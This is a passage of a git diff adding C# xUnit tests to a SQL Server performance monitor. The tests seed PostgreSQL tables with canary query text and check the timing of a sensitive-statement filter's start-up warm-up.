+                        @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id, wait_resource, percent_complete, query_hash)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-5 - i)), serverId, serverName, 100 + i, Db,
+                        "00 00:00:05.125", texts[i].Text, "running", 0, null, 0L, 1000L, 1500L, 10_000L, 50L, 7L, 0m,
+                        "Read Committed", 1, 0, "app_svc", "APPSRV01", "MyOrderService.Worker", 0, 0,
+                        "KEY: 5:72057594043432960 (a1b2c3d4e5f6)", 12.5m, "0x" + (0x1A2B3C4D5E6F7080L + i).ToString("X16"));
+                }
+
+                break;
+
+            case "get_top_queries_by_cpu":
+            case "get_finops high_impact":
+            case "get_finops optimization":
+                for (int i = 0; i < texts.Count; i++)
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle, query_text,
+                                       delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, min_dop, max_dop, sample_interval_seconds)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-30 - i)), serverId, serverName, Db,
+                        "0xQH" + texts[i].Tag, "0xPLAN" + texts[i].Tag, "0xSQLH" + texts[i].Tag, "0xPLANH" + texts[i].Tag, texts[i].Text,
+                        10L, 1_000_000L, 2_000_000L, 5_000L, 1, 1, 60);
+                }
+
+                break;
+
+            case "get_query_heatmap":
+            {
+                var t0 = new DateTime(now.Ticks - (now.Ticks % TimeSpan.TicksPerHour), now.Kind).AddHours(-1);
+                long[] elapsedMicros = { 500, 5_000_000 };
+                for (int i = 0; i < texts.Count; i++)
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sample_interval_seconds, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, delta_logical_writes, query_text)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t0), serverId, serverName, Db, "0xHM" + texts[i].Tag,
+                        60, 1L, 0L, elapsedMicros[i % 2], 0L, 0L, texts[i].Text);
+                }
+
+                break;
+            }
+
+            case "get_query_store_top":
+                for (int i = 0; i < texts.Count; i++)
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc, last_execution_time, module_name, query_text, query_hash, query_plan_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, avg_logical_io_writes, avg_physical_io_reads, avg_rowcount)
+VALUES ($1,$2,$3,$4,$5,$6,$7,'Regular',$2,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-30 - i)), serverId, serverName, Db,
+                        100L + i, 200L + i, null, texts[i].Text, "0xQSH" + texts[i].Tag, "0xQSP" + texts[i].Tag,
+                        100L, 5000L, 4000L, 100L, 10L, 5L, 10L);
+                }
+
+                break;
+
+            case "get_query_store_regressions":
+                for (int i = 0; i < texts.Count; i++)
+                {
+                    long queryId = 1000 + i;
+                    foreach (var (at, executions, avg, interval, text) in new[]
+                    {
+                        (now.AddHours(-40), 50L, 1000L, 2L * i + 1, "SELECT 1"),
+                        (now.AddMinutes(-30), 200L, 4000L, 2L * i + 2, texts[i].Text),
+                    })
+                    {
+                        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, runtime_stats_interval_id, query_text, last_execution_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15)",
+                            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), serverId, serverName, Db, queryId, 9L, "Regular",
+                            executions, avg, avg, 100L, interval, text, DarlingMcpTestData.Naive(at));
+                    }
+                }
+
+                break;
+
+            case "get_plan_corrections":
+                for (int i = 0; i < texts.Count; i++)
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO plan_correction (collection_id, collection_time, server_id, server_name, database_name, recommendation_name, recommendation_state, query_id, query_text, regressed_plan_id, last_good_plan_id, score)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-20 - i)), serverId, serverName, Db,
+                        "PlanRegression_ssf_" + texts[i].Tag, "Active", 5000L + i, texts[i].Text, 6000L + i, 7000L + i, 80);
+                }
+
+                break;
+
+            default:
+                throw new ArgumentOutOfRangeException(nameof(tool), tool, null);
+        }
+    }
+
+    /// <summary>True when a stored statement column of the server's rows still holds the canary (the tables the cases plant in).</summary>
+    private static async Task<bool> StoreHoldsTheCanaryAsync(NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            @"SELECT EXISTS (SELECT 1 FROM query_snapshots WHERE server_id = $1 AND position('S3cret-canary-ssf' IN query_text) > 0)
+                  OR EXISTS (SELECT 1 FROM query_stats WHERE server_id = $1 AND position('S3cret-canary-ssf' IN query_text) > 0)
+                  OR EXISTS (SELECT 1 FROM query_store_stats WHERE server_id = $1 AND position('S3cret-canary-ssf' IN query_text) > 0)
+                  OR EXISTS (SELECT 1 FROM plan_correction WHERE server_id = $1 AND position('S3cret-canary-ssf' IN query_text) > 0)",
+            connection);
+        cmd.Parameters.AddWithValue(serverId);
+        return (bool)(await cmd.ExecuteScalarAsync(ct))!;
+    }
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (int id in new[] { CanaryId, CleanId })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                $"DELETE FROM query_snapshots WHERE server_id = {id}; DELETE FROM query_stats WHERE server_id = {id}; " +
+                $"DELETE FROM query_store_stats WHERE server_id = {id}; DELETE FROM plan_correction WHERE server_id = {id}; " +
+                $"DELETE FROM servers WHERE server_id = {id}; DELETE FROM config_monitored_servers WHERE server_id = {id};");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterWarmUp.cs b/Darling/Darling.Tests/StatementFilterWarmUp.cs
new file mode 100644
index 0000000000..b3fd1cc605
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterWarmUp.cs
@@ -0,0 +1,37 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Alerting;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Runs the statement filter's start-up warm-up once per test process, for the tests that judge a document of
+/// 1 MB or more (#5478, following #5477).
+/// <para>The service (<c>DarlingWorker.ExecuteAsync</c>) and Lite (<c>MainWindow</c>) both run
+/// <see cref="AlertStatementFilter.WarmUpAsync"/> at start, so no real alert walks a large report in a process whose
+/// filter code is still unoptimized (tiered JIT). A test process never runs that start path, so the first large
+/// document a test judged paid for the cold code: 0.5 to 2 s for 4 MB on the laptop, against 22 to 72 ms warm. The
+/// first test in the process to walk a 4 MB report could therefore use up its whole judging budget, which depended
+/// on test order and on what ran beside it. This helper gives the tests the same start path the product has. It is
+/// not a budget change: no limit, constant or assertion differs, and no product code knows about tests.</para>
+/// </summary>
+internal static class StatementFilterWarmUp
+{
+    private static readonly Lazy<Task> s_once = new(
+        () => AlertStatementFilter.WarmUpAsync(), LazyThreadSafetyMode.ExecutionAndPublication);
+
+    /// <summary>Awaits the warm-up with its default probe; the first caller starts it, later callers share it.</summary>
+    public static Task EnsureAsync() => s_once.Value;
+
+    /// <summary>The same for a test that is not async. The warm-up never throws, and it runs on the thread pool.</summary>
+    public static void Ensure() => s_once.Value.GetAwaiter().GetResult();
+}
diff --git a/Darling/Darling.Tests/StatementFilterWarmUpSourceTests.cs b/Darling/Darling.Tests/StatementFilterWarmUpSourceTests.cs
new file mode 100644
index 0000000000..0f569900a5
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterWarmUpSourceTests.cs
@@ -0,0 +1,54 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5320 N1: the statement filter's judge takes 250-900 ms to build, and the first value that reaches it pays
+/// that. Each host that judges on a UI thread or on a request a user waits on starts the build on a background thread
+/// at startup. This pins that each start path still does: Lite's desktop app (its connection and AG alerts run the
+/// filter on the UI thread, and its MCP server shares the process) and the Darling service (its MCP tools, plan
+/// analysis and alerts). The Darling viewer and the web host judge through the PostgreSQL predicate and never build
+/// the .NET judge, so they have nothing to warm.</summary>
+[Trait("Reads", "Lite")]
+public sealed class StatementFilterWarmUpSourceTests
+{
+    private static readonly Regex s_warmUpCall = new(
+        @"^\s*_\s*=\s*Task\.Run\(\s*SensitiveStatements\.WarmUp\s*\)\s*;", RegexOptions.CultureInvariant | RegexOptions.Multiline);
+
+    [Theory]
+    [InlineData("Lite/App.xaml.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Service/Program.cs")]
+    public void EachStartPathStartsTheJudgeWarmUpOffTheCallingThread(string relative)
+    {
+        var source = File.ReadAllText(Path.Combine(RepoRoot(), relative.Replace('/', Path.DirectorySeparatorChar)));
+
+        // A statement on its own line, so a call inside a comment does not count.
+        Assert.True(
+            s_warmUpCall.IsMatch(source),
+            $"{relative} does not start SensitiveStatements.WarmUp on a background task (#5320 N1)");
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null
+               && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln"))
+               && !Directory.Exists(Path.Combine(dir, ".git")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterWarmUpWaitTests.cs b/Darling/Darling.Tests/StatementFilterWarmUpWaitTests.cs
new file mode 100644
index 0000000000..c9f8665d15
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterWarmUpWaitTests.cs
@@ -0,0 +1,475 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Protocol;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5478, #5484: a call that judges a large document waits for a running start-up warm-up, but only until one deadline
+/// (3 s after the warm-up started), only when it judges at least 256 KB, and the alert engine's fire path awaits instead
+/// of blocking. The MCP and web sweep waits the same way.
+/// </summary>
+[Collection("timing")]
+public sealed class StatementFilterWarmUpWaitTests
+{
+    private static long Ticks(TimeSpan span) => (long)(span.TotalSeconds * Stopwatch.Frequency);
+
+    /// <summary>A fake warm-up that has been running for <paramref name="age"/>. Disposing it finishes it and clears the
+    /// registration, so a failing assertion cannot leave a running fake for the next test to wait on.</summary>
+    private sealed class StagedWarmUp : IDisposable
+    {
+        public StagedWarmUp(TimeSpan age)
+        {
+            Source = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+            Started = Stopwatch.GetTimestamp() - Ticks(age);
+            SensitiveStatements.SetWarmUp(Source.Task, Started);
+        }
+
+        public TaskCompletionSource Source { get; }
+
+        public long Started { get; }
+
+        public void Dispose()
+        {
+            Source.TrySetResult();
+            SensitiveStatements.SetWarmUp(null, 0);
+        }
+    }
+
+    /// <summary>A blocked-process report of about 300,000 characters (above the 256 KB gate) that still names the canary.</summary>
+    private static string LargeReportXml() =>
+        StatementFilterAlertTests.ReportXml().Replace(
+            "</blocked-process-report>",
+            "<note>" + new string('x', 300_000) + "</note></blocked-process-report>",
+            StringComparison.Ordinal);
+
+    private static AlertContext LargeContext() => new() { AttachmentXml = LargeReportXml() };
+
+    private static CallToolResult LargeToolResult() => new()
+    {
+        Content = new List<ContentBlock> { new TextContentBlock { Text = "{\"v\":\"" + new string('x', 300_000) + "\"}" } },
+    };
+
+    // ---- the primitive: one deadline for every caller ----
+
+    [Fact]
+    public void WaitForWarmUp_ARunningWarmUp_IsWaitedForOnlyUpToTheLimit()
+    {
+        var running = new TaskCompletionSource();
+        Assert.Equal(TimeSpan.FromSeconds(3), SensitiveStatements.WarmUpWaitLimit);
+        Assert.Equal(256 * 1024, SensitiveStatements.WarmUpWaitGateChars);
+
+        var watch = Stopwatch.StartNew();
+        var finished = SensitiveStatements.WaitForWarmUp(running.Task, Stopwatch.GetTimestamp(), TimeSpan.FromMilliseconds(300));
+        watch.Stop();
+
+        Assert.False(finished);
+        Assert.InRange(watch.ElapsedMilliseconds, 250, 2500);
+
+        // The same task, finished a moment later, ends the wait early.
+        _ = Task.Run(async () => { await Task.Delay(200); running.SetResult(); });
+        watch.Restart();
+        Assert.True(SensitiveStatements.WaitForWarmUp(running.Task, Stopwatch.GetTimestamp(), TimeSpan.FromSeconds(20)));
+        Assert.InRange(watch.ElapsedMilliseconds, 0, 5000);
+    }
+
+    [Fact]
+    public void WaitForWarmUp_NoWarmUp_AFinishedOne_OrOneThatAlreadyFailed_DelaysNoOne()
+    {
+        var failed = Task.FromException(new InvalidOperationException("boom"));
+        var watch = Stopwatch.StartNew();
+        Assert.True(SensitiveStatements.WaitForWarmUp(null, Stopwatch.GetTimestamp(), TimeSpan.FromSeconds(20)));
+        Assert.True(SensitiveStatements.WaitForWarmUp(Task.CompletedTask, Stopwatch.GetTimestamp(), TimeSpan.FromSeconds(20)));
+        Assert.True(SensitiveStatements.WaitForWarmUp(failed, Stopwatch.GetTimestamp(), TimeSpan.FromSeconds(20)));
+        watch.Stop();
+        Assert.True(watch.ElapsedMilliseconds < 1000, "took " + watch.ElapsedMilliseconds + " ms");
+        _ = failed.Exception;
+    }
+
+    [Fact]
+    public void WaitForWarmUp_AWarmUpThatFaultsWhileWaitedOn_ReturnsFalseAtOnce_AndNeverThrows()
+    {
+        var source = new TaskCompletionSource();
+        _ = Task.Run(async () =>
+        {
+            await Task.Delay(100);
+            source.SetException(new InvalidOperationException("boom"));
+        });
+
+        var watch = Stopwatch.StartNew();
+        var finished = SensitiveStatements.WaitForWarmUp(source.Task, Stopwatch.GetTimestamp(), TimeSpan.FromSeconds(20));
+        watch.Stop();
+
+        Assert.False(finished);
+        Assert.InRange(watch.ElapsedMilliseconds, 0, 5000);
+        Assert.NotNull(source.Task.Exception);
+    }
+
+    [Fact]
+    public void WaitForWarmUp_AfterTheDeadline_NobodyWaits_AndTheFleetPaysTheLimitOnce()
+    {
+        var running = new TaskCompletionSource();
+        var limit = TimeSpan.FromMilliseconds(500);
+        var started = Stopwatch.GetTimestamp();
+
+        // Three callers one after another: the first waits out the deadline, the other two find it already passed.
+        var watch = Stopwatch.StartNew();
+        Assert.False(SensitiveStatements.WaitForWarmUp(running.Task, started, limit));
+        var afterFirst = watch.ElapsedMilliseconds;
+        Assert.False(SensitiveStatements.WaitForWarmUp(running.Task, started, limit));
+        Assert.False(SensitiveStatements.WaitForWarmUp(running.Task, started, limit));
+        watch.Stop();
+
+        Assert.InRange(afterFirst, 400, 2500);
+        Assert.True(watch.ElapsedMilliseconds - afterFirst < 250,
+            "the callers after the deadline waited " + (watch.ElapsedMilliseconds - afterFirst) + " ms");
+
+        // A warm-up that started long ago and never finishes costs a new caller nothing.
+        var old = Stopwatch.GetTimestamp() - Ticks(TimeSpan.FromSeconds(10));
+        watch.Restart();
+        Assert.False(SensitiveStatements.WaitForWarmUp(running.Task, old, TimeSpan.FromSeconds(3)));
+        Assert.True(watch.ElapsedMilliseconds < 250, "took " + watch.ElapsedMilliseconds + " ms");
+        running.SetResult();
+    }
+
+    [Fact]
+    public async Task WhenWarmAsync_ATimedOutAsyncWait_IsNotFollowedByASecondWaitInTheSyncOne()
+    {
+        var running = new TaskCompletionSource();
+        var limit = TimeSpan.FromMilliseconds(500);
+        var started = Stopwatch.GetTimestamp();
+
+        var watch = Stopwatch.StartNew();
+        await SensitiveStatements.WhenWarmAsync(running.Task, started, limit);
+        var afterAsync = watch.ElapsedMilliseconds;
+        Assert.InRange(afterAsync, 400, 2500);
+
+        Assert.False(SensitiveStatements.WaitForWarmUp(running.Task, started, limit));
+        watch.Stop();
+        Assert.True(watch.ElapsedMilliseconds - afterAsync < 250,
+            "the sync wait after the async one took " + (watch.ElapsedMilliseconds - afterAsync) + " ms");
+        running.SetResult();
+    }
+
+    [Fact]
+    public async Task WhenWarmAsync_IsCompleteWithNoWarmUp_AFinishedOne_AFailedOne_OrAnExpiredDeadline_AndNeverThrows()
+    {
+        var failed = new TaskCompletionSource();
+        failed.SetException(new InvalidOperationException("boom"));
+        var stuck = new TaskCompletionSource();
+
+        Assert.True(SensitiveStatements.WhenWarmAsync(null, 0, TimeSpan.FromSeconds(3)).IsCompleted);
+        Assert.True(SensitiveStatements.WhenWarmAsync(Task.CompletedTask, 0, TimeSpan.FromSeconds(3)).IsCompleted);
+        Assert.True(SensitiveStatements.WhenWarmAsync(failed.Task, Stopwatch.GetTimestamp(), TimeSpan.FromSeconds(3)).IsCompleted);
+        Assert.True(SensitiveStatements.WhenWarmAsync(
+            stuck.Task, Stopwatch.GetTimestamp() - Ticks(TimeSpan.FromSeconds(10)), TimeSpan.FromSeconds(3)).IsCompleted);
+
+        // A warm-up that faults while it is awaited ends the wait without throwing.
+        var faulting = new TaskCompletionSource();
+        _ = Task.Run(async () => { await Task.Delay(100); faulting.SetException(new InvalidOperationException("boom")); });
+        await SensitiveStatements.WhenWarmAsync(faulting.Task, Stopwatch.GetTimestamp(), TimeSpan.FromSeconds(20))
+            .WaitAsync(TimeSpan.FromSeconds(20));
+
+        _ = failed.Task.Exception;
+        _ = faulting.Task.Exception;
+        stuck.SetResult();
+    }
+
+    // ---- the size gate ----
+
+    [Fact]
+    public async Task TheGate_BelowTheThreshold_NobodyWaits_AtTheThreshold_TheCallWaits()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        using var staged = new StagedWarmUp(TimeSpan.Zero);
+
+        var watch = Stopwatch.StartNew();
+        SensitiveStatements.WaitForWarmUp(SensitiveStatements.WarmUpWaitGateChars - 1);
+        watch.Stop();
+        Assert.True(watch.ElapsedMilliseconds < 500, "a call below the gate waited " + watch.ElapsedMilliseconds + " ms");
+
+        _ = Task.Run(async () => { await Task.Delay(400); staged.Source.SetResult(); });
+        watch.Restart();
+        SensitiveStatements.WaitForWarmUp(SensitiveStatements.WarmUpWaitGateChars);
+        watch.Stop();
+        Assert.InRange(watch.ElapsedMilliseconds, 300, 2900);
+    }
+
+    [Fact]
+    public async Task Apply_OfASmallAlert_DuringARunningWarmUp_DoesNotWait()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        using var staged = new StagedWarmUp(TimeSpan.Zero);
+
+        var watch = Stopwatch.StartNew();
+        var filtered = AlertStatementFilter.Apply(new AlertContext { AttachmentXml = StatementFilterAlertTests.ReportXml() });
+        watch.Stop();
+
+        Assert.True(watch.ElapsedMilliseconds < 1000, "took " + watch.ElapsedMilliseconds + " ms");
+        StatementFilterAlertTests.AssertNoSecret(filtered!.AttachmentXml!);
+    }
+
+    // ---- the alert path through the product's own warm-up ----
+
+    [Fact]
+    public async Task Apply_DuringASlowWarmUp_WaitsForItAndThenJudgesTheContext()
+    {
+        // Settle the process's own warm-up first, so no other test replaces the one this test staged.
+        await StatementFilterWarmUp.EnsureAsync();
+        using var release = new ManualResetEventSlim(false);
+        var slow = AlertStatementFilter.WarmUpAsync(() => release.Wait(TimeSpan.FromSeconds(20)));
+        try
+        {
+            var entered = new TaskCompletionSource();
+            long returnedAt = 0;
+            var apply = Task.Run(() =>
+            {
+                entered.SetResult();
+                var result = AlertStatementFilter.Apply(LargeContext());
+                returnedAt = Stopwatch.GetTimestamp();
+                return result;
+            });
+
+            // Apply has started; had it not waited, a judged 300 KB document would be back long before this.
+            await entered.Task.WaitAsync(TimeSpan.FromSeconds(20));
+            await Task.Delay(500);
+            Assert.False(apply.IsCompleted, "Apply did not wait for the warm-up that was still running");
+
+            var releasedAt = Stopwatch.GetTimestamp();
+            release.Set();
+            var filtered = await apply.WaitAsync(TimeSpan.FromSeconds(20));
+            Assert.True(returnedAt >= releasedAt, "Apply returned before the warm-up was released");
+
+            StatementFilterAlertTests.AssertNoSecret(filtered!.AttachmentXml!);
+            Assert.Contains(StatementScrubCanary.PlainStatement, filtered.AttachmentXml!, StringComparison.Ordinal);
+        }
+        finally
+        {
+            release.Set();
+            await slow;
+        }
+    }
+
+    [Fact]
+    public async Task TheWarmUpsOwnApplyCalls_NeverWaitOnTheWarmUp()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        long insideMs = -1;
+        var warmUp = AlertStatementFilter.WarmUpAsync(() =>
+        {
+            // Large enough to be gated: only the warm-up's own flag keeps these from waiting the whole limit on themselves.
+            var watch = Stopwatch.StartNew();
+            _ = AlertStatementFilter.Apply(LargeContext());
+            _ = AlertStatementFilter.Apply(new FindingAlert("A", "SRV", "1", "1", "101", LargeContext(), 0.9, 0.5, "plain", true));
+            insideMs = watch.ElapsedMilliseconds;
+        });
+
+        await warmUp.WaitAsync(TimeSpan.FromSeconds(20));
+        Assert.InRange(insideMs, 0, 2000);
+    }
+
+    [Fact]
+    public async Task TheRegistrationIsWrittenBeforeTheWarmUpCanRun()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        for (var i = 0; i < 50; i++)
+        {
+            // The first thing the work does is ask who is registered: it must be this warm-up, never the previous one.
+            Task? seenByTheWork = null;
+            var warmUp = SensitiveStatements.StartWarmUp(() =>
+            {
+                seenByTheWork = SensitiveStatements.RegisteredWarmUp;
+                return Task.CompletedTask;
+            });
+            await warmUp.WaitAsync(TimeSpan.FromSeconds(20));
+            Assert.Same(warmUp, seenByTheWork);
+        }
+    }
+
+    [Fact]
+    public async Task Apply_AfterAWarmUpThatThrew_IsNotDelayed()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        await AlertStatementFilter.WarmUpAsync(() => throw new InvalidOperationException("boom"));
+
+        var watch = Stopwatch.StartNew();
+        var filtered = AlertStatementFilter.Apply(LargeContext());
+        watch.Stop();
+
+        Assert.True(watch.ElapsedMilliseconds < 2000, "took " + watch.ElapsedMilliseconds + " ms");
+        StatementFilterAlertTests.AssertNoSecret(filtered!.AttachmentXml!);
+    }
+
+    [Fact]
+    public async Task TheAlertWarmUpSwallowsAThrownException_AndRunsTheDefaultProbe()
+    {
+        await AlertStatementFilter.WarmUpAsync(() => throw new InvalidOperationException("boom"));
+        await AlertStatementFilter.WarmUpAsync();
+    }
+
+    // ---- the engine's fire path awaits ----
+
+    [Fact]
+    public async Task TheEnginesFirePath_DuringARunningWarmUp_AwaitsInsteadOfBlockingTheCaller()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        var h = StatementFilterAlertTests.BlockingHarness(out _);
+        h.Adapter.Blocking[0].BlockedProcessReportXml = LargeReportXml();
+        using var staged = new StagedWarmUp(TimeSpan.Zero);
+
+        var engine = h.Build();
+        var watch = Stopwatch.StartNew();
+        var evaluation = engine.EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+        watch.Stop();
+
+        // A blocking wait would have held this thread for the rest of the warm-up before the call returned.
+        Assert.True(watch.ElapsedMilliseconds < 1500, "the fire path blocked the caller for " + watch.ElapsedMilliseconds + " ms");
+        await Task.Delay(300);
+        Assert.False(evaluation.IsCompleted, "the alert was delivered while the warm-up was still running");
+        Assert.Empty(h.Deliverer.Outcomes);
+
+        staged.Source.SetResult();
+        await evaluation.WaitAsync(TimeSpan.FromSeconds(30));
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        StatementFilterAlertTests.AssertNoSecret(StatementFilterAlertTests.Everything(outcome));
+    }
+
+    // ---- the MCP and web sweep ----
+
+    [Fact]
+    public async Task TheSweep_OfALargeResult_WaitsForARunningWarmUp_AndASmallOneDoesNot()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        using var staged = new StagedWarmUp(TimeSpan.Zero);
+
+        var small = new CallToolResult { Content = new List<ContentBlock> { new TextContentBlock { Text = "{\"v\":1}" } } };
+        var watch = Stopwatch.StartNew();
+        Assert.Same(small, SensitiveStatementOutputFilter.Sweep(small));
+        watch.Stop();
+        Assert.True(watch.ElapsedMilliseconds < 500, "a small result waited " + watch.ElapsedMilliseconds + " ms");
+
+        _ = Task.Run(async () => { await Task.Delay(400); staged.Source.SetResult(); });
+        var large = LargeToolResult();
+        watch.Restart();
+        var swept = SensitiveStatementOutputFilter.Sweep(large);
+        watch.Stop();
+
+        Assert.InRange(watch.ElapsedMilliseconds, 300, 2900);
+        Assert.Same(large, swept);
+    }
+
+    // ---- #5484: sizing runs only while a warm-up can still make the call wait ----
+
+    [Fact]
+    public async Task WarmUpPending_IsTrueOnlyWhileAWarmUpRunsInsideItsDeadline()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+
+        // No warm-up registered.
+        SensitiveStatements.SetWarmUp(null, 0);
+        Assert.False(SensitiveStatements.WarmUpPending);
+
+        // One running before its 3 s deadline.
+        using (var staged = new StagedWarmUp(TimeSpan.Zero))
+        {
+            Assert.True(SensitiveStatements.WarmUpPending);
+
+            // The same warm-up once it finished.
+            staged.Source.SetResult();
+            Assert.False(SensitiveStatements.WarmUpPending);
+        }
+
+        // One still running, but past the deadline.
+        using (var late = new StagedWarmUp(TimeSpan.FromSeconds(4)))
+        {
+            Assert.False(late.Source.Task.IsCompleted);
+            Assert.False(SensitiveStatements.WarmUpPending);
+        }
+
+        // Inside the warm-up itself: it never waits on itself, so it is never pending there.
+        var insideSaw = new TaskCompletionSource<bool>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var started = SensitiveStatements.StartWarmUp(() =>
+        {
+            insideSaw.SetResult(SensitiveStatements.WarmUpPending);
+            return Task.CompletedTask;
+        });
+        Assert.False(await insideSaw.Task);
+        await started;
+        SensitiveStatements.SetWarmUp(null, 0);
+    }
+
+    [Fact]
+    public void TheSizedWait_SizesTheCallOnlyWhileAWarmUpIsPending()
+    {
+        var sized = 0;
+        long Size() { sized++; return 10; }
+
+        SensitiveStatements.SetWarmUp(null, 0);
+        SensitiveStatements.WaitForWarmUp(Size);
+        Assert.Equal(0, sized);
+
+        using (var staged = new StagedWarmUp(TimeSpan.Zero))
+        {
+            SensitiveStatements.WaitForWarmUp(Size);
+            Assert.Equal(1, sized);
+
+            staged.Source.SetResult();
+            SensitiveStatements.WaitForWarmUp(Size);
+            Assert.Equal(1, sized);
+        }
+
+        using (var late = new StagedWarmUp(TimeSpan.FromSeconds(4)))
+        {
+            SensitiveStatements.WaitForWarmUp(Size);
+            Assert.Equal(1, sized);
+        }
+    }
+
+    [Fact]
+    public async Task TheSweep_SizesTheResultOnlyWhileAWarmUpIsPending()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        var result = LargeToolResult();
+
+        // Seam: SensitiveStatementOutputFilter.SizingCalls counts SweptChars calls, because the structured content's
+        // GetRawText (the copy that matters) is not observable from a test. The collection is serial, so no other
+        // test moves the counter.
+        SensitiveStatements.SetWarmUp(null, 0);
+        var before = SensitiveStatementOutputFilter.SizingCalls;
+        SensitiveStatementOutputFilter.Sweep(result);
+        Assert.Equal(before, SensitiveStatementOutputFilter.SizingCalls);
+
+        using (var staged = new StagedWarmUp(TimeSpan.Zero))
+        {
+            _ = Task.Run(async () => { await Task.Delay(100); staged.Source.SetResult(); });
+            SensitiveStatementOutputFilter.Sweep(result);
+            Assert.Equal(before + 1, SensitiveStatementOutputFilter.SizingCalls);
+
+            // Finished: sized no more.
+            SensitiveStatementOutputFilter.Sweep(result);
+            Assert.Equal(before + 1, SensitiveStatementOutputFilter.SizingCalls);
+        }
+
+        using (var late = new StagedWarmUp(TimeSpan.FromSeconds(4)))
+        {
+            SensitiveStatementOutputFilter.Sweep(result);
+            Assert.Equal(before + 1, SensitiveStatementOutputFilter.SizingCalls);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterWebTests.cs b/Darling/Darling.Tests/StatementFilterWebTests.cs
new file mode 100644
index 0000000000..dca3a93ebb
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterWebTests.cs
@@ -0,0 +1,323 @@
+/*
